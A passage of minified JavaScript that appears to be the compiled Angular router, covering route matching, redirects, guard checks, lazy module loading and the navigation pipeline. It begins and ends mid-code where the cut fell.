ft(t.value.snapshot))}},{key:"activateRoutes",value:function(t,e,n){var i=t.value,r=e?e.value:null;if(de(i),i===r)if(i.component){var o=n.getOrCreateContext(i.outlet);this.activateChildRoutes(t,e,o.children)}else this.activateChildRoutes(t,e,n);else if(i.component){var a=n.getOrCreateContext(i.outlet);if(this.routeReuseStrategy.shouldAttach(i.snapshot)){var s=this.routeReuseStrategy.retrieve(i.snapshot);this.routeReuseStrategy.store(i.snapshot,null),a.children.onOutletReAttached(s.contexts),a.attachRef=s.componentRef,a.route=s.route.value,a.outlet&&a.outlet.attach(s.componentRef,s.route.value),Oe(s.route)}else{var u=function(t){for(var e=t.parent;e;e=e.parent){var n=e.routeConfig;if(n&&n._loadedConfig)return n._loadedConfig;if(n&&n.component)return null}return null}(i.snapshot),c=u?u.module.componentFactoryResolver:null;a.attachRef=null,a.route=i,a.resolver=c,a.outlet&&a.outlet.activateWith(i,c),this.activateChildRoutes(t,null,a.children)}}else this.activateChildRoutes(t,null,n)}}]),t}();function Oe(t){de(t.value),t.children.forEach(Oe)}var Re=function t(e,n){_(this,t),this.routes=e,this.module=n};function Pe(t){return"function"==typeof t}function Ne(t){return t instanceof Dt}var De=Symbol("INITIAL_VALUE");function Le(){return(0,Y.w)(function(t){return(0,v.aj)(t.map(function(t){return t.pipe((0,H.q)(1),(0,q.O)(De))})).pipe(S(function(t,e){var n=!1;return e.reduce(function(t,i,r){return t!==De?t:(i===De&&(n=!0),n||!1!==i&&r!==e.length-1&&!Ne(i)?t:i)},t)},De),(0,T.h)(function(t){return t!==De}),(0,G.U)(function(t){return Ne(t)?t:!0===t}),(0,H.q)(1))})}var Me,Fe=((Me=function t(){_(this,t)}).\u0275fac=function(t){return new(t||Me)},Me.\u0275cmp=s.Xpm({type:Me,selectors:[["ng-component"]],decls:1,vars:0,template:function(t,e){1&t&&s._UZ(0,"router-outlet")},directives:function(){return[Dn]},encapsulation:2}),Me);function Ue(t){for(var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=0;n<t.length;n++){var i=t[n];Be(i,je(e,i))}}function Be(t,e){t.children&&Ue(t.children,e)}function je(t,e){return e?t||e.path?t&&!e.path?"".concat(t,"/"):!t&&e.path?e.path:"".concat(t,"/").concat(e.path):"":t}function He(t){var e=t.children&&t.children.map(He),n=e?Object.assign(Object.assign({},t),{children:e}):Object.assign({},t);return!n.component&&(e||n.loadChildren)&&n.outlet&&n.outlet!==mt&&(n.component=Fe),n}function Ve(t){return t.outlet||mt}function Ge(t,e){var n=t.filter(function(t){return Ve(t)===e});return n.push.apply(n,i(t.filter(function(t){return Ve(t)!==e}))),n}var Ye={matched:!1,consumedSegments:[],lastChild:0,parameters:{},positionalParamSegments:{}};function qe(t,e,n){var i;if(""===e.path)return"full"===e.pathMatch&&(t.hasChildren()||n.length>0)?Object.assign({},Ye):{matched:!0,consumedSegments:[],lastChild:0,parameters:{},positionalParamSegments:{}};var r=(e.matcher||kt)(n,t,e);if(!r)return Object.assign({},Ye);var o={};Et(r.posParams,function(t,e){o[e]=t.path});var a=r.consumed.length>0?Object.assign(Object.assign({},o),r.consumed[r.consumed.length-1].parameters):o;return{matched:!0,consumedSegments:r.consumed,lastChild:r.consumed.length,parameters:a,positionalParamSegments:null!==(i=r.posParams)&&void 0!==i?i:{}}}function ze(t,e,n,i){var o=arguments.length>4&&void 0!==arguments[4]?arguments[4]:"corrected";if(n.length>0&&function(t,e,n){return n.some(function(n){return Ze(t,e,n)&&Ve(n)!==mt})}(t,n,i)){var a=new Lt(e,function(t,e,n,i){var o={};o[mt]=i,i._sourceSegment=t,i._segmentIndexShift=e.length;var a,s=r(n);try{for(s.s();!(a=s.n()).done;){var u=a.value;if(""===u.path&&Ve(u)!==mt){var c=new Lt([],{});c._sourceSegment=t,c._segmentIndexShift=e.length,o[Ve(u)]=c}}}catch(l){s.e(l)}finally{s.f()}return o}(t,e,i,new Lt(n,t.children)));return a._sourceSegment=t,a._segmentIndexShift=e.length,{segmentGroup:a,slicedSegments:[]}}if(0===n.length&&function(t,e,n){return n.some(function(n){return Ze(t,e,n)})}(t,n,i)){var s=new Lt(t.segments,function(t,e,n,i,o,a){var s,u={},c=r(i);try{for(c.s();!(s=c.n()).done;){var l=s.value;if(Ze(t,n,l)&&!o[Ve(l)]){var h=new Lt([],{});h._sourceSegment=t,h._segmentIndexShift="legacy"===a?t.segments.length:e.length,u[Ve(l)]=h}}}catch(f){c.e(f)}finally{c.f()}return Object.assign(Object.assign({},o),u)}(t,e,n,i,t.children,o));return s._sourceSegment=t,s._segmentIndexShift=e.length,{segmentGroup:s,slicedSegments:n}}var u=new Lt(t.segments,t.children);return u._sourceSegment=t,u._segmentIndexShift=e.length,{segmentGroup:u,slicedSegments:n}}function Ze(t,e,n){return(!(t.hasChildren()||e.length>0)||"full"!==n.pathMatch)&&""===n.path}function We(t,e,n,i){return!!(Ve(t)===i||i!==mt&&Ze(e,n,t))&&("**"===t.path||qe(e,t,n).matched)}function Je(t,e,n){return 0===e.length&&!t.children[n]}var Qe=function t(e){_(this,t),this.segmentGroup=e||null},Ke=function t(e){_(this,t),this.urlTree=e};function Xe(t){return new m.y(function(e){return e.error(new Qe(t))})}function $e(t){return new m.y(function(e){return e.error(new Ke(t))})}function tn(t){return new m.y(function(e){return e.error(new Error("Only absolute redirects can have named outlets. redirectTo: '".concat(t,"'")))})}var en=function(){function e(t,n,i,r,o){_(this,e),this.configLoader=n,this.urlSerializer=i,this.urlTree=r,this.config=o,this.allowRedirects=!0,this.ngModule=t.get(s.h0i)}return y(e,[{key:"apply",value:function(){var t=this,e=ze(this.urlTree.root,[],[],this.config).segmentGroup,n=new Lt(e.segments,e.children);return this.expandSegmentGroup(this.ngModule,this.config,n,mt).pipe((0,G.U)(function(e){return t.createUrlTree(nn(e),t.urlTree.queryParams,t.urlTree.fragment)})).pipe((0,z.K)(function(e){if(e instanceof Ke)return t.allowRedirects=!1,t.match(e.urlTree);throw e instanceof Qe?t.noMatchError(e):e}))}},{key:"match",value:function(t){var e=this;return this.expandSegmentGroup(this.ngModule,this.config,t.root,mt).pipe((0,G.U)(function(n){return e.createUrlTree(nn(n),t.queryParams,t.fragment)})).pipe((0,z.K)(function(t){throw t instanceof Qe?e.noMatchError(t):t}))}},{key:"noMatchError",value:function(t){return new Error("Cannot match any routes. URL Segment: '".concat(t.segmentGroup,"'"))}},{key:"createUrlTree",value:function(e,n,i){var r=e.segments.length>0?new Lt([],t({},mt,e)):e;return new Dt(r,n,i)}},{key:"expandSegmentGroup",value:function(t,e,n,i){return 0===n.segments.length&&n.hasChildren()?this.expandChildren(t,e,n).pipe((0,G.U)(function(t){return new Lt([],t)})):this.expandSegment(t,n,e,n.segments,i,!0)}},{key:"expandChildren",value:function(t,e,n){for(var i=this,r=[],o=0,a=Object.keys(n.children);o<a.length;o++){var s=a[o];"primary"===s?r.unshift(s):r.push(s)}return(0,c.D)(r).pipe((0,Z.b)(function(r){var o=n.children[r],a=Ge(e,r);return i.expandSegmentGroup(t,a,o,r).pipe((0,G.U)(function(t){return{segment:t,outlet:r}}))}),S(function(t,e){return t[e.outlet]=e.segment,t},{}),function(t,e){var n=arguments.length>=2;return function(i){return i.pipe(t?(0,T.h)(function(e,n){return t(e,n,i)}):j.y,O(1),n?F(e):N(function(){return new u}))}}())}},{key:"expandSegment",value:function(t,e,n,i,r,o){var a=this;return(0,c.D)(n).pipe((0,Z.b)(function(s){return a.expandSegmentAgainstRoute(t,e,n,s,i,r,o).pipe((0,z.K)(function(t){if(t instanceof Qe)return(0,h.of)(null);throw t}))}),V(function(t){return!!t}),(0,z.K)(function(t,n){if(t instanceof u||"EmptyError"===t.name){if(Je(e,i,r))return(0,h.of)(new Lt([],{}));throw new Qe(e)}throw t}))}},{key:"expandSegmentAgainstRoute",value:function(t,e,n,i,r,o,a){return We(i,e,r,o)?void 0===i.redirectTo?this.matchSegmentAgainstRoute(t,e,i,r,o):a&&this.allowRedirects?this.expandSegmentAgainstRouteUsingRedirect(t,e,n,i,r,o):Xe(e):Xe(e)}},{key:"expandSegmentAgainstRouteUsingRedirect",value:function(t,e,n,i,r,o){return"**"===i.path?this.expandWildCardWithParamsAgainstRouteUsingRedirect(t,n,i,o):this.expandRegularSegmentAgainstRouteUsingRedirect(t,e,n,i,r,o)}},{key:"expandWildCardWithParamsAgainstRouteUsingRedirect",value:function(t,e,n,i){var r=this,o=this.applyRedirectCommands([],n.redirectTo,{});return n.redirectTo.startsWith("/")?$e(o):this.lineralizeSegments(n,o).pipe((0,W.zg)(function(n){var o=new Lt(n,{});return r.expandSegment(t,o,e,n,i,!1)}))}},{key:"expandRegularSegmentAgainstRouteUsingRedirect",value:function(t,e,n,i,r,o){var a=this,s=qe(e,i,r),u=s.matched,c=s.consumedSegments,l=s.lastChild,h=s.positionalParamSegments;if(!u)return Xe(e);var f=this.applyRedirectCommands(c,i.redirectTo,h);return i.redirectTo.startsWith("/")?$e(f):this.lineralizeSegments(i,f).pipe((0,W.zg)(function(i){return a.expandSegment(t,e,n,i.concat(r.slice(l)),o,!1)}))}},{key:"matchSegmentAgainstRoute",value:function(t,e,n,i,r){var o=this;if("**"===n.path)return n.loadChildren?(n._loadedConfig?(0,h.of)(n._loadedConfig):this.configLoader.load(t.injector,n)).pipe((0,G.U)(function(t){return n._loadedConfig=t,new Lt(i,{})})):(0,h.of)(new Lt(i,{}));var a=qe(e,n,i),s=a.matched,u=a.consumedSegments,c=a.lastChild;if(!s)return Xe(e);var l=i.slice(c);return this.getChildConfig(t,n,i).pipe((0,W.zg)(function(t){var i=t.module,a=t.routes,s=ze(e,u,l,a),c=s.segmentGroup,f=s.slicedSegments,d=new Lt(c.segments,c.children);if(0===f.length&&d.hasChildren())return o.expandChildren(i,a,d).pipe((0,G.U)(function(t){return new Lt(u,t)}));if(0===a.length&&0===f.length)return(0,h.of)(new Lt(u,{}));var p=Ve(n)===r;return o.expandSegment(i,d,a,f,p?mt:r,!0).pipe((0,G.U)(function(t){return new Lt(u.concat(t.segments),t.children)}))}))}},{key:"getChildConfig",value:function(t,e,n){var i=this;return e.children?(0,h.of)(new Re(e.children,t)):e.loadChildren?void 0!==e._loadedConfig?(0,h.of)(e._loadedConfig):this.runCanLoadGuards(t.injector,e,n).pipe((0,W.zg)(function(n){return n?i.configLoader.load(t.injector,e).pipe((0,G.U)(function(t){return e._loadedConfig=t,t})):(r=e,new m.y(function(t){return t.error(bt("Cannot load children because the guard of the route \"path: '".concat(r.path,"'\" returned false")))}));var r})):(0,h.of)(new Re([],t))}},{key:"runCanLoadGuards",value:function(t,e,n){var i=this,r=e.canLoad;if(!r||0===r.length)return(0,h.of)(!0);var o=r.map(function(i){var r,o,a=t.get(i);if((o=a)&&Pe(o.canLoad))r=a.canLoad(e,n);else{if(!Pe(a))throw new Error("Invalid CanLoad guard");r=a(e,n)}return At(r)});return(0,h.of)(o).pipe(Le(),(0,J.b)(function(t){if(Ne(t)){var e=bt('Redirecting to "'.concat(i.urlSerializer.serialize(t),'"'));throw e.url=t,e}}),(0,G.U)(function(t){return!0===t}))}},{key:"lineralizeSegments",value:function(t,e){for(var n=[],i=e.root;;){if(n=n.concat(i.segments),0===i.numberOfChildren)return(0,h.of)(n);if(i.numberOfChildren>1||!i.children[mt])return tn(t.redirectTo);i=i.children[mt]}}},{key:"applyRedirectCommands",value:function(t,e,n){return this.applyRedirectCreatreUrlTree(e,this.urlSerializer.parse(e),t,n)}},{key:"applyRedirectCreatreUrlTree",value:function(t,e,n,i){var r=this.createSegmentGroup(t,e.root,n,i);return new Dt(r,this.createQueryParams(e.queryParams,this.urlTree.queryParams),e.fragment)}},{key:"createQueryParams",value:function(t,e){var n={};return Et(t,function(t,i){if("string"==typeof t&&t.startsWith(":")){var r=t.substring(1);n[i]=e[r]}else n[i]=t}),n}},{key:"createSegmentGroup",value:function(t,e,n,i){var r=this,o=this.createSegments(t,e.segments,n,i),a={};return Et(e.children,function(e,o){a[o]=r.createSegmentGroup(t,e,n,i)}),new Lt(o,a)}},{key:"createSegments",value:function(t,e,n,i){var r=this;return e.map(function(e){return e.path.startsWith(":")?r.findPosParam(t,e,i):r.findOrReturn(e,n)})}},{key:"findPosParam",value:function(t,e,n){var i=n[e.path.substring(1)];if(!i)throw new Error("Cannot redirect to '".concat(t,"'. Cannot find '").concat(e.path,"'."));return i}},{key:"findOrReturn",value:function(t,e){var n,i=0,o=r(e);try{for(o.s();!(n=o.n()).done;){var a=n.value;if(a.path===t.path)return e.splice(i),a;i++}}catch(s){o.e(s)}finally{o.f()}return t}}]),e}();function nn(t){for(var e={},n=0,i=Object.keys(t.children);n<i.length;n++){var r=i[n],o=nn(t.children[r]);(o.segments.length>0||o.hasChildren())&&(e[r]=o)}return function(t){if(1===t.numberOfChildren&&t.children[mt]){var e=t.children[mt];return new Lt(t.segments.concat(e.segments),e.children)}return t}(new Lt(t.segments,e))}var rn=function t(e){_(this,t),this.path=e,this.route=this.path[this.path.length-1]},on=function t(e,n){_(this,t),this.component=e,this.route=n};function an(t,e,n){var i=t._root;return un(i,e?e._root:null,n,[i.value])}function sn(t,e,n){var i=function(t){if(!t)return null;for(var e=t.parent;e;e=e.parent){var n=e.routeConfig;if(n&&n._loadedConfig)return n._loadedConfig}return null}(e);return(i?i.module.injector:n).get(t)}function un(t,e,n,i){var r=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{canDeactivateChecks:[],canActivateChecks:[]},o=re(e);return t.children.forEach(function(t){(function(t,e,n,i){var r=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{canDeactivateChecks:[],canActivateChecks:[]},o=t.value,a=e?e.value:null,s=n?n.getContext(t.value.outlet):null;if(a&&o.routeConfig===a.routeConfig){var u=function(t,e,n){if("function"==typeof n)return n(t,e);switch(n){case"pathParamsChange":return!Ft(t.url,e.url);case"pathParamsOrQueryParamsChange":return!Ft(t.url,e.url)||!wt(t.queryParams,e.queryParams);case"always":return!0;case"paramsOrQueryParamsChange":return!pe(t,e)||!wt(t.queryParams,e.queryParams);case"paramsChange":default:return!pe(t,e)}}(a,o,o.routeConfig.runGuardsAndResolvers);u?r.canActivateChecks.push(new rn(i)):(o.data=a.data,o._resolvedData=a._resolvedData),un(t,e,o.component?s?s.children:null:n,i,r),u&&s&&s.outlet&&s.outlet.isActivated&&r.canDeactivateChecks.push(new on(s.outlet.component,a))}else a&&cn(e,s,r),r.canActivateChecks.push(new rn(i)),un(t,null,o.component?s?s.children:null:n,i,r)})(t,o[t.value.outlet],n,i.concat([t.value]),r),delete o[t.value.outlet]}),Et(o,function(t,e){return cn(t,n.getContext(e),r)}),r}function cn(t,e,n){var i=re(t),r=t.value;Et(i,function(t,i){cn(t,r.component?e?e.children.getContext(i):null:e,n)}),n.canDeactivateChecks.push(new on(r.component&&e&&e.outlet&&e.outlet.isActivated?e.outlet.component:null,r))}var ln=function t(){_(this,t)};function hn(t){return new m.y(function(e){return e.error(t)})}var fn=function(){function t(e,n,i,r,o,a){_(this,t),this.rootComponentType=e,this.config=n,this.urlTree=i,this.url=r,this.paramsInheritanceStrategy=o,this.relativeLinkResolution=a}return y(t,[{key:"recognize",value:function(){var t=ze(this.urlTree.root,[],[],this.config.filter(function(t){return void 0===t.redirectTo}),this.relativeLinkResolution).segmentGroup,e=this.processSegmentGroup(this.config,t,mt);if(null===e)return null;var n=new ce([],Object.freeze({}),Object.freeze(Object.assign({},this.urlTree.queryParams)),this.urlTree.fragment,{},mt,this.rootComponentType,null,this.urlTree.root,-1,{}),i=new ie(n,e),r=new le(this.url,i);return this.inheritParamsAndData(r._root),r}},{key:"inheritParamsAndData",value:function(t){var e=this,n=t.value,i=ue(n,this.paramsInheritanceStrategy);n.params=Object.freeze(i.params),n.data=Object.freeze(i.data),t.children.forEach(function(t){return e.inheritParamsAndData(t)})}},{key:"processSegmentGroup",value:function(t,e,n){return 0===e.segments.length&&e.hasChildren()?this.processChildren(t,e):this.processSegment(t,e,e.segments,n)}},{key:"processChildren",value:function(t,e){for(var n=[],r=0,o=Object.keys(e.children);r<o.length;r++){var a=o[r],s=e.children[a],u=Ge(t,a),c=this.processSegmentGroup(u,s,a);if(null===c)return null;n.push.apply(n,i(c))}var l=dn(n);return l.sort(function(t,e){return t.value.outlet===mt?-1:e.value.outlet===mt?1:t.value.outlet.localeCompare(e.value.outlet)}),l}},{key:"processSegment",value:function(t,e,n,i){var o,a=r(t);try{for(a.s();!(o=a.n()).done;){var s=o.value,u=this.processSegmentAgainstRoute(s,e,n,i);if(null!==u)return u}}catch(c){a.e(c)}finally{a.f()}return Je(e,n,i)?[]:null}},{key:"processSegmentAgainstRoute",value:function(t,e,n,i){if(t.redirectTo||!We(t,e,n,i))return null;var r,o=[],a=[];if("**"===t.path){var s=n.length>0?St(n).parameters:{};r=new ce(n,s,Object.freeze(Object.assign({},this.urlTree.queryParams)),this.urlTree.fragment,mn(t),Ve(t),t.component,t,pn(e),vn(e)+n.length,gn(t))}else{var u=qe(e,t,n);if(!u.matched)return null;o=u.consumedSegments,a=n.slice(u.lastChild),r=new ce(o,u.parameters,Object.freeze(Object.assign({},this.urlTree.queryParams)),this.urlTree.fragment,mn(t),Ve(t),t.component,t,pn(e),vn(e)+o.length,gn(t))}var c,l=(c=t).children?c.children:c.loadChildren?c._loadedConfig.routes:[],h=ze(e,o,a,l.filter(function(t){return void 0===t.redirectTo}),this.relativeLinkResolution),f=h.segmentGroup,d=h.slicedSegments;if(0===d.length&&f.hasChildren()){var p=this.processChildren(l,f);return null===p?null:[new ie(r,p)]}if(0===l.length&&0===d.length)return[new ie(r,[])];var v=Ve(t)===i,m=this.processSegment(l,f,d,v?mt:i);return null===m?null:[new ie(r,m)]}}]),t}();function dn(t){var e,n=[],o=new Set,a=r(t);try{var s=function(){var t,r=e.value;if(!function(t){var e=t.value.routeConfig;return e&&""===e.path&&void 0===e.redirectTo}(r))return n.push(r),"continue";var a=n.find(function(t){return r.value.routeConfig===t.value.routeConfig});void 0!==a?((t=a.children).push.apply(t,i(r.children)),o.add(a)):n.push(r)};for(a.s();!(e=a.n()).done;)s()}catch(f){a.e(f)}finally{a.f()}var u,c=r(o);try{for(c.s();!(u=c.n()).done;){var l=u.value,h=dn(l.children);n.push(new ie(l.value,h))}}catch(f){c.e(f)}finally{c.f()}return n.filter(function(t){return!o.has(t)})}function pn(t){for(var e=t;e._sourceSegment;)e=e._sourceSegment;return e}function vn(t){for(var e=t,n=e._segmentIndexShift?e._segmentIndexShift:0;e._sourceSegment;)n+=(e=e._sourceSegment)._segmentIndexShift?e._segmentIndexShift:0;return n-1}function mn(t){return t.data||{}}function gn(t){return t.resolve||{}}function yn(t){return(0,Y.w)(function(e){var n=t(e);return n?(0,c.D)(n).pipe((0,G.U)(function(){return e})):(0,h.of)(e)})}var _n=function(t){l(n,t);var e=f(n);function n(){return _(this,n),e.apply(this,arguments)}return n}(function(){function t(){_(this,t)}return y(t,[{key:"shouldDetach",value:function(t){return!1}},{key:"store",value:function(t,e){}},{key:"shouldAttach",value:function(t){return!1}},{key:"retrieve",value:function(t){return null}},{key:"shouldReuseRoute",value:function(t,e){return t.routeConfig===e.routeConfig}}]),t}()),bn=new s.OlP("ROUTES"),kn=function(){function t(e,n,i,r){_(this,t),this.loader=e,this.compiler=n,this.onLoadStartListener=i,this.onLoadEndListener=r}return y(t,[{key:"load",value:function(t,e){var n=this;if(e._loader$)return e._loader$;this.onLoadStartListener&&this.onLoadStartListener(e);var i=this.loadModuleFactory(e.loadChildren).pipe((0,G.U)(function(i){n.onLoadEndListener&&n.onLoadEndListener(e);var r=i.create(t);return new Re(xt(r.injector.get(bn,void 0,s.XFs.Self|s.XFs.Optional)).map(He),r)}),(0,z.K)(function(t){throw e._loader$=void 0,t}));return e._loader$=new w.c(i,function(){return new C.xQ}).pipe((0,Q.x)()),e._loader$}},{key:"loadModuleFactory",value:function(t){var e=this;return"string"==typeof t?(0,c.D)(this.loader.load(t)):At(t()).pipe((0,W.zg)(function(t){return t instanceof s.YKP?(0,h.of)(t):(0,c.D)(e.compiler.compileModuleAsync(t))}))}}]),t}(),wn=function t(){_(this,t),this.outlet=null,this.route=null,this.resolver=null,this.children=new Cn,this.attachRef=null},Cn=function(){function t(){_(this,t),this.contexts=new Map}return y(t,[{key:"onChildOutletCreated",value:function(t,e){var n=this.getOrCreateContext(t);n.outlet=e,this.contexts.set(t,n)}},{key:"onChildOutletDestroyed",value:function(t){var e=this.getContext(t);e&&(e.outlet=null,e.attachRef=null)}},{key:"onOutletDeactivated",value:function(){var t=this.contexts;return this.contexts=new Map,t}},{key:"onOutletReAttached",value:function(t){this.contexts=t}},{key:"getOrCreateContext",value:function(t){var e=this.getContext(t);return e||(e=new wn,this.contexts.set(t,e)),e}},{key:"getContext",value:function(t){return this.contexts.get(t)||null}}]),t}(),xn=function(){function t(){_(this,t)}return y(t,[{key:"shouldProcessUrl",value:function(t){return!0}},{key:"extract",value:function(t){return t}},{key:"merge",value:function(t,e){return t}}]),t}();function Sn(t){throw t}function En(t,e,n){return e.parse("/")}function An(t,e){return(0,h.of)(null)}var Tn={paths:"exact",fragment:"ignored",matrixParams:"ignored",queryParams:"exact"},In={paths:"subset",fragment:"ignored",matrixParams:"ignored",queryParams:"subset"},On=function(){var t=function(){function t(e,n,i,r,o,a,u,c){var l=this;_(this,t),this.rootComponentType=e,this.urlSerializer=n,this.rootContexts=i,this.location=r,this.config=c,this.lastSuccessfulNavigation=null,this.currentNavigation=null,this.disposed=!1,this.lastLocationChangeInfo=null,this.navigationId=0,this.currentPageId=0,this.isNgZoneEnabled=!1,this.events=new C.xQ,this.errorHandler=Sn,this.malformedUriErrorHandler=En,this.navigated=!1,this.lastSuccessfulId=-1,this.hooks={beforePreactivation:An,afterPreactivation:An},this.urlHandlingStrategy=new xn,this.routeReuseStrategy=new _n,this.onSameUrlNavigation="ignore",this.paramsInheritanceStrategy="emptyOnly",this.urlUpdateStrategy="deferred",this.relativeLinkResolution="corrected",this.canceledNavigationResolution="replace",this.ngModule=o.get(s.h0i),this.console=o.get(s.c2e);var h=o.get(s.R0b);this.isNgZoneEnabled=h instanceof s.R0b&&s.R0b.isInAngularZone(),this.resetConfig(c),this.currentUrlTree=new Dt(new Lt([],{}),{},null),this.rawUrlTree=this.currentUrlTree,this.browserUrlTree=this.currentUrlTree,this.configLoader=new kn(a,u,function(t){return l.triggerEvent(new ct(t))},function(t){return l.triggerEvent(new lt(t))}),this.routerState=ae(this.currentUrlTree,this.rootComponentType),this.transitions=new d.X({id:0,targetPageId:0,currentUrlTree:this.currentUrlTree,currentRawUrl:this.currentUrlTree,extractedUrl:this.urlHandlingStrategy.extract(this.currentUrlTree),urlAfterRedirects:this.urlHandlingStrategy.extract(this.currentUrlTree),rawUrl:this.currentUrlTree,extras:{},resolve:null,reject:null,promise:Promise.resolve(!0),source:"imperative",restoredState:null,currentSnapshot:this.routerState.snapshot,targetSnapshot:null,currentRouterState:this.routerState,targetRouterState:null,guards:{canActivateChecks:[],canDeactivateChecks:[]},guardsResult:null}),this.navigations=this.setupNavigations(this.transitions),this.processNavigations()}return y(t,[{key:"browserPageId",get:function(){var t;return null===(t=this.location.getState())||void 0===t?void 0:t.\u0275routerPageId}},{key:"setupNavigations",value:function(t){var e=this,n=this.events;return t.pipe((0,T.h)(function(t){return 0!==t.id}),(0,G.U)(function(t){return Object.assign(Object.assign({},t),{extractedUrl:e.urlHandlingStrategy.extract(t.rawUrl)})}),(0,Y.w)(function(t){var i=!1,r=!1;return(0,h.of)(t).pipe((0,J.b)(function(t){e.currentNavigation={id:t.id,initialUrl:t.currentRawUrl,extractedUrl:t.extractedUrl,trigger:t.source,extras:t.extras,previousNavigation:e.lastSuccessfulNavigation?Object.assign(Object.assign({},e.lastSuccessfulNavigation),{previousNavigation:null}):null}}),(0,Y.w)(function(t){var i=e.browserUrlTree.toString(),o=!e.navigated||t.extractedUrl.toString()!==i||i!==e.currentUrlTree.toString();if(("reload"===e.onSameUrlNavigation||o)&&e.urlHandlingStrategy.shouldProcessUrl(t.rawUrl))return Rn(t.source)&&(e.browserUrlTree=t.extractedUrl),(0,h.of)(t).pipe((0,Y.w)(function(t){var i=e.transitions.getValue();return n.next(new tt(t.id,e.serializeUrl(t.extractedUrl),t.source,t.restoredState)),i!==e.transitions.getValue()?k.E:Promise.resolve(t)}),function(t,e,n,i){return(0,Y.w)(function(r){return function(t,e,n,i,r){return new en(t,e,n,i,r).apply()}(t,e,n,r.extractedUrl,i).pipe((0,G.U)(function(t){return Object.assign(Object.assign({},r),{urlAfterRedirects:t})}))})}(e.ngModule.injector,e.configLoader,e.urlSerializer,e.config),(0,J.b)(function(t){e.currentNavigation=Object.assign(Object.assign({},e.currentNavigation),{finalUrl:t.urlAfterRedirects})}),function(t,n,i,o,a){return(0,W.zg)(function(i){return function(t,e,n,i){var o=arguments.length>4&&void 0!==arguments[4]?arguments[4]:"emptyOnly",a=arguments.length>5&&void 0!==arguments[5]?arguments[5]:"legacy";try{var s=new fn(t,e,n,i,o,a).recognize();return null===s?hn(new ln):(0,h.of)(s)}catch(r){return hn(r)}}(t,n,i.urlAfterRedirects,(s=i.urlAfterRedirects,e.serializeUrl(s)),o,a).pipe((0,G.U)(function(t){return Object.assign(Object.assign({},i),{targetSnapshot:t})}));var s})}(e.rootComponentType,e.config,0,e.paramsInheritanceStrategy,e.relativeLinkResolution),(0,J.b)(function(t){"eager"===e.urlUpdateStrategy&&(t.extras.skipLocationChange||e.setBrowserUrl(t.urlAfterRedirects,t),e.browserUrlTree=t.urlAfterRedirects);var i=new rt(t.id,e.serializeUrl(t.extractedUrl),e.serializeUrl(t.urlAfterRedirects),t.targetSnapshot);n.next(i)}));if(o&&e.rawUrlTree&&e.urlHandlingStrategy.shouldProcessUrl(e.rawUrlTree)){var a=t.id,s=t.extractedUrl,u=t.source,c=t.restoredState,l=t.extras,f=new tt(a,e.serializeUrl(s),u,c);n.next(f);var d=ae(s,e.rootComponentType).snapshot;return(0,h.of)(Object.assign(Object.assign({},t),{targetSnapshot:d,urlAfterRedirects:s,extras:Object.assign(Object.assign({},l),{skipLocationChange:!1,replaceUrl:!1})}))}return e.rawUrlTree=t.rawUrl,e.browserUrlTree=t.urlAfterRedirects,t.resolve(null),k.E}),yn(function(t){var n=t.targetSnapshot,i=t.id,r=t.extractedUrl,o=t.rawUrl,a=t.extras,s=a.skipLocationChange,u=a.replaceUrl;return e.hooks.beforePreactivation(n,{navigationId:i,appliedUrlTree:r,rawUrlTree:o,skipLocationChange:!!s,replaceUrl:!!u})}),(0,J.b)(function(t){var n=new ot(t.id,e.serializeUrl(t.extractedUrl),e.serializeUrl(t.urlAfterRedirects),t.targetSnapshot);e.triggerEvent(n)}),(0,G.U)(function(t){return Object.assign(Object.assign({},t),{guards:an(t.targetSnapshot,t.currentSnapshot,e.rootContexts)})}),function(t,e){return(0,W.zg)(function(n){var i=n.targetSnapshot,r=n.currentSnapshot,o=n.guards,a=o.canActivateChecks,s=o.canDeactivateChecks;return 0===s.length&&0===a.length?(0,h.of)(Object.assign(Object.assign({},n),{guardsResult:!0})):function(t,e,n,i){return(0,c.D)(t).pipe((0,W.zg)(function(t){return function(t,e,n,i,r){var o=e&&e.routeConfig?e.routeConfig.canDeactivate:null;if(!o||0===o.length)return(0,h.of)(!0);var a=o.map(function(o){var a,s=sn(o,e,r);if(function(t){return t&&Pe(t.canDeactivate)}(s))a=At(s.canDeactivate(t,e,n,i));else{if(!Pe(s))throw new Error("Invalid CanDeactivate guard");a=At(s(t,e,n,i))}return a.pipe(V())});return(0,h.of)(a).pipe(Le())}(t.component,t.route,n,e,i)}),V(function(t){return!0!==t},!0))}(s,i,r,t).pipe((0,W.zg)(function(n){return n&&function(t){return"boolean"==typeof t}(n)?function(t,e,n,i){return(0,c.D)(e).pipe((0,Z.b)(function(e){return(0,g.z)(function(t,e){return null!==t&&e&&e(new ht(t)),(0,h.of)(!0)}(e.route.parent,i),function(t,e){return null!==t&&e&&e(new dt(t)),(0,h.of)(!0)}(e.route,i),function(t,e,n){var i=e[e.length-1],r=e.slice(0,e.length-1).reverse().map(function(t){return function(t){var e=t.routeConfig?t.routeConfig.canActivateChild:null;return e&&0!==e.length?{node:t,guards:e}:null}(t)}).filter(function(t){return null!==t}).map(function(e){return(0,b.P)(function(){var r=e.guards.map(function(r){var o,a=sn(r,e.node,n);if(function(t){return t&&Pe(t.canActivateChild)}(a))o=At(a.canActivateChild(i,t));else{if(!Pe(a))throw new Error("Invalid CanActivateChild guard");o=At(a(i,t))}return o.pipe(V())});return(0,h.of)(r).pipe(Le())})});return(0,h.of)(r).pipe(Le())}(t,e.path,n),function(t,e,n){var i=e.routeConfig?e.routeConfig.canActivate:null;if(!i||0===i.length)return(0,h.of)(!0);var r=i.map(function(i){return(0,b.P)(function(){var r,o=sn(i,e,n);if(function(t){return t&&Pe(t.canActivate)}(o))r=At(o.canActivate(e,t));else{if(!Pe(o))throw new Error("Invalid CanActivate guard");r=At(o(e,t))}return r.pipe(V())})});return(0,h.of)(r).pipe(Le())}(t,e.route,n))}),V(function(t){return!0!==t},!0))}(i,a,t,e):(0,h.of)(n)}),(0,G.U)(function(t){return Object.assign(Object.assign({},n),{guardsResult:t})}))})}(e.ngModule.injector,function(t){return e.triggerEvent(t)}),(0,J.b)(function(t){if(Ne(t.guardsResult)){var n=bt('Redirecting to "'.concat(e.serializeUrl(t.guardsResult),'"'));throw n.url=t.guardsResult,n}var i=new 